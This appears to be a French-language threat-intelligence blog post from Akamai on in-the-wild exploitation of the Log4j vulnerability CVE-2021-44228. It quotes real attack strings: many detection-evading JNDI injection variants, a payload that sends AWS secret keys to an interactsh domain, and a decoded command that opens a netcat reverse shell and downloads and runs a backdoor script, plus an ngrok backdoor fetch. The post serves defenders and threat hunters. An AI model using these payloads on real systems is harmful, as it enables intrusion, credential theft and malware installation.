Informations sur les menaces au sujet de Log4j CVE : principales conclusions et implications
Dans le cadre de nos recherches sur la vulnérabilité CVE-2021-44228, Akamai a déjà expliqué en quoi elle consistait et a formulé des recommandations sur la manière d'aller au-delà des correctifs pour une protection supplémentaire. Sur l'ensemble du réseau Akamai, nous surveillons le trafic de 1,3 milliard de terminaux uniques chaque jour avec un trafic record de 182 Tbit/s. L'équipe de recherche sur les menaces a étudié ce trafic afin d'obtenir des informations approfondies sur l'exploitation de cette vulnérabilité. Nous souhaitons partager davantage de résultats techniques et aborder leur signification pour les chasseurs de menaces. Voici quelques implications à prendre en compte pour les défenseurs et les chasseurs de menaces :
- Attendez-vous à ce que cette vulnérabilité ait des répercussions sur le long terme. Nous prévoyons qu'en raison de l'utilisation étendue de ce logiciel et du grand nombre de variations des vulnérabilités, nous continuerons à observer des tentatives d'exploitation pendant les mois à venir et nous nous attendons à ce que de nombreuses violations soient découvertes à l'avenir. Nous continuons de recommander des correctifs urgents pour limiter les tentatives d'attaque futures.
- Les hackers ont utilisé des injections opportunistes et ont agi de façon plus ciblée. Comme pour les mutations d'exploitations, les hackers ont visé chaque point d'injection possible. S'ils ont commencé par des points vulnérables évidents comme l'agent utilisateur, les hackers ont rapidement commencé à s'en prendre aux paramètres spécifiques aux organisations. De tels renseignements sont très utiles aux défenseurs du Web pour s'adapter rapidement à l'évolution de l'écosystème des menaces
- Les conséquences des activités de reconnaissance peuvent ne pas être pleinement comprises pendant des mois. La grande majorité des activités observées étaient des activités de reconnaissance/test, contre un pourcentage relativement plus faible d'attaques réelles. Et bien que ces attaques puissent être atténuées par des correctifs et d'autres méthodes, on ne sait pas combien de violations se sont produites au cours de cette période. Il faudra du temps pour que les violations soient mises au jour et que nous appréciions leur ampleur.
Examinons maintenant nos conclusions détaillées.
1re conclusion : Des débuts mitigés, puis un tsunami d'activité malveillante à l'échelle mondiale
Il a fallu un certain temps pour que les tentatives d'exploitation visant nos clients se mettent à augmenter, mais elles ont ensuite été lancées en vagues massives et successives. Cela serait également corrélé avec les autres conclusions selon lesquelles, au fur et à mesure que les hackers découvriraient davantage de vecteurs d'attaque, les variations d'exploitation et le volume d'activité malveillante augmenteraient considérablement.
Comme pour les autres attaques zero day, les hackers ont été très rapides à adopter cette exploitation et à élargir leur arsenal d'attaques. D'après nos données, nous pouvons affirmer qu'environ 57 % de l'infrastructure attaquante qui envoyait des exploitations de failles log4j était déjà connue d'Akamai à la suite d'attaques précédentes. En fait, le tsunami venait autant d'acteurs malveillants opportunistes existants, que de nouveaux attaquants.
La vague d'attaques s'étendait également à l'échelle mondiale. La plupart des attaques provenaient d'abord des États-Unis, de Singapour, d'Allemagne et du Brésil, mais les régions géographiques étaient très diverses. Nous avons également observé que certaines des attaques provenaient de serveurs hébergés par des fournisseurs de cloud populaires comme AWS et DigitalOcean.
Nous avons remarqué que les zones géographiques des IP à l'origine des attaques changeaient sans cesse. Le 15 décembre, le Canada, la Fédération de Russie, étonnamment le Luxembourg et le Royaume-Uni étaient les pays où se trouvaient les machines pirates qui avaient envoyé le plus grand nombre d'attaques log4j.
Le commerce a dominé les segments de marché, éclipsant une vaste cohorte de secteurs d'activité. Plus de 50 % des clients d'Akamai en matière de sécurité des applications ont observé des tentatives d'exploitation en l'espace d'une heure.
Les États-Unis ont été près de cinq fois plus ciblés que le second pays le plus visé (le Royaume-Uni), et là encore, de nombreux autres pays ont connu des tentatives cibles similaires.
2e conclusion : Des mutations d'exploitation sans précédent
Outre l'impact massif de cette vulnérabilité, nous avons constaté une évolution sans précédent des variantes d'exploitations.
Alors que le vecteur d'attaque initial suggéré dans l'exploitation de la démonstration était :
${jndi:ldap://malicious_server_address/}
D'autres techniques de contournement simples, telles que les charges utiles codées par URL, sont apparues immédiatement :
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
En quelques heures, les hackers ont commencé à essayer d'autres fournisseurs de services de registre JNDI tels que « rmi » et « dns » pour éviter les règles de détection recherchant spécifiquement « ldap », qui ont été suggérées comme suit :
${jndi:rmi:// and ${jndi:dns://
La documentation existante des recherches log4j 2 aide à comprendre la surface d'attaque et le potentiel des contournements. Les hackers et les chercheurs tentaient d'utiliser l'une des directives de recherche afin de concevoir une variante d'attaque dissimulée qui n'inclurait pas « jndi » (une chaîne que la plupart des défenseurs recherchent supposément dans leurs règles de détection).
Comme log4j n'est pas sensible à la casse, les directives de recherche de transformation de caractères les plus triviales ont d'abord été utilisées (« lower » et « upper ») :
${${lower:j}ndi: and ${${upper:j}ndi:
Cependant, une chaîne d'une longueur quelconque peut être fournie à la fonction de recherche, et non un seul caractère, et cela fonctionnera :
${${lower:jnd}i:
Presque instantanément, les hackers ont découvert qu'il était possible de définir une variable utilisateur et de la définir avec une valeur par défaut à l'aide du signe « - », ce qui aura pour effet de renvoyer cette valeur par défaut après la définition. Il s'agit d'une autre astuce pour obscurcir les chaînes « jndi » et « ldap » :
${${x:-j}ndi:
Apparemment, le cadre log4j ne nécessite même pas de fournir un nom à une variable, tandis que les variantes d'exploitation ont commencé à inclure ces noms de variables « vides », ainsi que des variables à profondeur multiple :
${${:-j}ndi: and ${${::::::-j}ndi:
Certaines variantes ont commencé à utiliser d'autres directives utilisateur comme « env » pour définir de nouvelles variables environnementales, et « date » qui, de manière surprenante, n'applique pas de format de date :
${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
Les variantes plus avancées, qui sont venues dans les jours qui ont suivi le lancement de l'exploitation massive, comprenaient également un contournement à l'aide de chaînes « vides ». Les hackers cherchaient une méthode de recherche et une expression, qui, lorsqu'elle était évaluée, pouvait donner lieu à une chaîne « vide ». Cela signifie que cette expression pouvait être injectée entre n'importe quel caractère comme suit :
${:-}
Des variantes plus avancées de la chaîne « vide » se basaient sur des paramètres spécifiques au système et injectaient des éléments comme :
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
Les hackers ont également essayé bien d'autres variantes, y compris le double encodage URL, l'Unicode et les expressions sans la fermeture de l'accolade « } ».
Il est important de noter que les hackers essayaient différentes variantes d'attaque non opérationnelle, comme :
$jndi:ldap://
3e conclusion : Plusieurs points d'injection, passant des attaques opportunistes à des attaques ciblées
Dans nos recherches, nous avons constaté que les hackers avaient injecté la charge utile d'exploitation à plusieurs endroits. L'injection était le plus souvent effectuée dans les arguments de chaînes de requête, l'en-tête User-Agent, comme dans l'exploitation de la démonstration originale, et le chemin de requête, en partant du principe que les serveurs Web et les applications consigneraient les informations d'accès, telles que la méthode, le chemin de requête et l'agent utilisateur.
Dans la plupart des attaques, l'injection se trouvait dans différents paramètres de requête fictifs tels que « x », « test » et « foo ». D'autres paramètres de requête comme « url », « nextUrl », « _csrfToken », « _endcoding » et « openid.retrun_to » ont été utilisés, sur la base de l'hypothèse que ces paramètres ont de grandes chances d'être consignés.
Chaque en-tête imaginable était une cible pour l'injection, y compris Cookie, Referer, X-Forwarded-for et Connection.
De nombreux hackers envoyaient des requêtes injectant l'exploitation à plusieurs endroits de la même requête.
4e conclusion : L'analyse de la charge utile montre l'utilisation de la reconnaissance aveugle, d'outils de post-exploitation et du dépôt de programmes malveillants
La plupart des acteurs de la menace appliquent la technique de reconnaissance « aveugle » en utilisant les services en ligne les plus populaires pour détecter les interactions de services externes. Pour certaines vulnérabilités, le hacker n'est pas en mesure d'obtenir une réponse directe du service ciblé pour confirmer une vulnérabilité. Dans de tels cas, la technique pour tester si le site Web est vulnérable sera d'essayer d'exécuter du code pour contacter un serveur externe sous le contrôle des hackers à l'écoute de telles connexions. Si le serveur du hacker reçoit une balise d'un certain serveur, cela signifie que ce dernier a exécuté avec succès le code du hacker. Au lieu de configurer et de maintenir un tel serveur, la plupart des hackers utilisaient les configurations en ligne les plus populaires précisément pour cette raison.
Les services les plus couramment utilisés dans l'attaque log4j étaient « ineract.sh », « burpcollaborator.net » et « canarytokens.com », mais bien d'autres noms de domaine ont été utilisés. Nombre de ces domaines hébergeaient un déploiement du serveur d'interaction hors bande Open Source « Ineractsh ».
Figure : service « canarytokens.com » pour détecter une interaction hors limite ayant été utilisée dans une attaque log4j
En plus de la balise de reconnaissance aveugle, de nombreux hackers essayaient déjà d'extraire des données utiles comme le nom d'hôte de la machine, des données d'environnement comme java:os, java:vm, env:user, voire d'extraire des clés AWS pour faciliter la prise de contrôle du compte AWS.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
Les autres charges utiles incluaient l'exécution directe de commandes à l'aide de la charge utile codée base64 :
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
Ce qui se traduit par :
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
Les hackers ouvrent un shell inversé sur leur serveur C2, téléchargent un script bash comme fer de lance, l'exécutent et envoient une balise DNS au « burpcollaborator.net » pour confirmer que le serveur est vulnérable.
Des services de tunnel inversé tels que « ngrok.io » ont également été utilisés pour masquer les identités des hackers :
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
Tandis que la commande exécutée allait télécharger une porte dérobée :
wget 8.tcp.ngrok.io:14639
L'avantage de ces services de tunnel est que les hackers n'ont pas besoin d'héberger leurs programmes malveillants sur leur propre serveur public, qui pourrait être fermé ou saisi par les autorités. Dans le cas présent, un hacker héberge un logiciel malveillant, la commande et le panneau de configuration sur sa propre machine, et pourrait se cacher derrière un service de tunnellisation légitime, tandis que ce service « masquera » le trafic C2 de la machine de la victime vers la machine du hacker.
Outre les acteurs de la menace qui déploient des mineurs de cryptomonnaie et des bots DDoS, nous avons découvert que certains hackers agressifs exécutaient un énorme volume d'analyses ciblant les machines Windows. Les hackers essayaient de déployer la célèbre porte dérobée « netcat », un outil connu d'escalade des privilèges Windows, couramment utilisé pour les mouvements latéraux ultérieurs ou pour obtenir des privilèges pour crypter le disque avec un ransomware.
L'un des serveurs des hackers hébergeant un netcat et des outils d'attaque WinPEAS
Parmi les attaques globales que nous avons observées à ce jour, seul un petit pourcentage semble être lié aux ransomware.
Restez à l'écoute pour en savoir plus
Bien que nous ayons découvert des données importantes, nous n'avons pas terminé. Les équipes d'informations sur les menaces, de la recherche sur la sécurité et de la réponse aux incidents d'Akamai continuent de surveiller et de protéger notre infrastructure et nos clients en tirant parti de cette visibilité et de notre expérience.
